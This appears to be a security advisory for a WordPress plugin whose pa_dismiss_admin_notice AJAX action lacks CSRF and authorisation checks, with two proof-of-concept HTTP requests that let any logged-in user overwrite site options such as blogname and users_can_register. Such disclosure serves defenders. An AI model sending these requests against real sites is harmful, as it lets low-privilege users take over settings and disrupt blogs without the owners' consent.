The plugin does not have any CSRF and authorisation checks in the pa_dismiss_admin_notice AJAX action, available to any authenticated users, and do not validate the option key to ensure the option to update belongs to the plugin. As a result, any authenticated user, such as subscriber can update arbitrary WordPress options and set them to the value '1'. An attacker changing the users_can_register would enable users registration, other options could be changed to make the blog unusable as well.
Change the Blogname to '1' POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 46 Cookie: [any authenticated user] Connection: close action=pa_dismiss_admin_notice¬ice=blogname To enable registration: POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 46 Cookie: [any authenticated user] Connection: close action=pa_dismiss_admin_notice¬ice= users_can_register
2021-08-30 (about 1 years ago)
2021-08-30 (about 1 years ago)
2021-08-30 (about 1 years ago)